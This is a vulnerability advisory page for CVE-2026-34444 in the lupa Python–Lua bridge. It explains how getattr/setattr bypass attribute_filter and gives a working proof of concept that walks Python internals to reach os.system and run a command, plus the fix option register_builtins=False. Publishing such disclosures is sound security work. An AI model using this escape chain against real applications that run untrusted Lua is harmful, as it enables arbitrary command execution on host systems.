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CVE-2026-34444 — Vulnerability in lupa — CVE Details

HIGH

Lupa has a Sandbox escape and RCE due to incomplete attribute_filter enforcement in getattr / setattr

Published April 7, 2026Updated September 10, 2026Source: osv

Summary

### Summary The `attribute_filter` in the Lupa library is intended to restrict access to sensitive Python attributes when exposing objects to Lua. However, the filter is not consistently applied when attributes are accessed through built-in functions like getattr and setattr. This allows an attacker to bypass the intended restrictions and eventually achieve arbitrary code execution. ### Details The `attribute_filter` is meant to block access to attributes such as `__class__`, `__mro__`, and similar internal properties. In practice, it only applies to direct attribute access: - `obj.attr` → filtered - `getattr(obj, "attr")` → not filtered Because of this inconsistency, it’s possible to bypass the filter entirely, if access to the Python builtins is granted to Lua code. An attacker can use getattr to- - Access `__class__` - Walk the `__mro__` chain - Call `__subclasses__()` - Iterate over available classes - Find a function that exposes `__globals__` - Retrieve something like `os.system` At that point, arbitrary command execution becomes straightforward. This effectively breaks the security boundary that `attribute_filter` is expected to enforce. ### PoC The following example shows how the filter can be bypassed to execute `os.system`:' ``` import lupa from lupa import LuaRuntime def protected_attribute_filter(obj, attr_name, is_setting): if isinstance(attr_name, str) and attr_name.startswith('_'): raise AttributeError(f"Access to '{attr_name}' is forbidden") return attr_name lua = LuaRuntime(unpack_returned_tuples=True, attribute_filter=protected_attribute_filter) class UserProfile: def __init__(self, name): self.name = name lua.globals().user = UserProfile("test") lua.execute(""" local py = python.builtins local getattr = py.getattr local setattr = py.setattr local cls = getattr(user, "__class__") local _, obj_cls = getattr(cls, "__mro__") local subs = getattr(obj_cls, "__subclasses__")() for _, c in ipairs(subs) do if tostring(c):find("os._wrap_close") then local system = getattr(getattr(c, "__init__"), "__globals__")["system"] setattr(user, "run", system) user.run("id") end end """) ``` ### Impact An attacker who can execute Lua code can: - Bypass the `attribute_filter` - Access Python internals - Traverse the object graph - Reach execution primitives This leads to full sandbox escape and arbitrary command execution in the host Python process. Any application relying on `attribute_filter` as a security control for untrusted Lua code execution is affected, if it does not also disallow access to the Python builtins via the `register_builtins=False` option.

Advisory Timeline

  • First published April 7, 2026 (188 days ago).
  • Last revised September 10, 2026 — 156 days after initial publication.

Affected Packages (1)

Affects 1 ecosystem: pypi (1).

PackageEcosystemAffectedFixed In
lupa
pypi
0.1, 0.10, 0.11, 0.12 (+42 more)Range-based data available

Vulnerability Classification

Common Weakness Enumeration (CWE) identifiers for this vulnerability type.

CVSS Score Breakdown

What the CVSS (Common Vulnerability Scoring System) 10.0 score means for each attack dimension.

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Changed
Confidentiality
High
Integrity
High
Availability
High

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

Frequently Asked Questions

What is CVE-2026-34444?
Lupa has a Sandbox escape and RCE due to incomplete attribute_filter enforcement in getattr / setattr This vulnerability has been assigned a severity rating of HIGH (CVSS score: 10.0/10).
How do I check if my project is affected by CVE-2026-34444?
CVE-2026-34444 affects lupa. Use GeekWala's free vulnerability scanner to check your dependencies against CVE-2026-34444 and 200,000+ other known vulnerabilities.

Severity & Exploitability

CVSS Score
10.0

Exploitation is straightforward and causes maximum impact. Patch immediately.

Also Known As

GHSA-69v7-xpr6-6gjm
PYSEC-2026-2613

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